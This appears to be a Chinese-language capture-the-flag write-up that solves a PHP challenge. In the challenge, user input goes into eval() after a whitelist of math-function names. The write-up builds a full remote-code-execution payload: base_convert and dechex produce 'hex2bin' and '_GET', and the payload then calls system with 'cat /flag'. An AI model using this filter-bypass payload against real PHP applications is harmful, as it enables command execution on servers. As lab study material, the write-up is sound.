    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

给出了一个GET参数c,长度不能大于80 ' ', 't', 'r', 'n',''', '"', '`', '[', ']'这些空白字符也被过滤。

参数c中只允许使用php中的数学函数,不能有其他字母组成的字符串,根据正则(),$这些符号未被过滤。

也就是说必须要在这些数学函数中找到可利用的:

base_convert() //可以将数字从任意进制转化为另一进制

dechex()//将十进制转化为十六进制

利用的php特性:

<?php
    //php中允许以变量为函数名的形式执行函数
  $func='phpinfo';
  $func()//==>phpinfo()
?>

我们可以尝试构造如此结构来RCE:

?c=$_GET[a]($_GET[b])&a=system&b=cat /flag

但是方括号[被过滤,在PHP中花括号可以代替方括号来使用{

?c=$_GET{a}($_GET{b})&a=system&b=cat /flag

由于正则的过滤,不能自己随意定义参数名,可以使用给定的数学函数名作为参数名。

?c=$_GET{abs}($_GET{tan})&abs=system&tan=cat /flag

接下来的问题由于正则的过滤_GET肯定是被过滤掉的,就是如何利用base_convert()和dechex()来转出一个_GET

三十六进制是由0-9以及26个字母组成的,可以利用base_convert从十进制转为三十六进制转出带有字母的字符串(php是若类型语言),以此作为函数名然后再利用dechex函数配合来组成_GET

所以首先想到的是用base_convert先转出一个hex2bin,此函数可以将十六进制数专为ascii字符。而hex2bin的参数来源正是dechex函数

构造payload:

$pi=base_convert(37907361743,10,36)(dechex(1598506324))
 //hex2bin base36==>decima:  37907361743 
 //base_convert(37907361743,10,36) ==>hex2bin
 //_GET  hex:5f474554==>decima 1598506324
 //dechex(1598506324)==>_GET
 //$pi ==> _GET

所以最终payload:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{tan})&abs=system&tan=cat /flag

image-20201213171148627

添加新评论

我们会加密处理您的邮箱保证您的隐私. 标有星号的为必填信息 *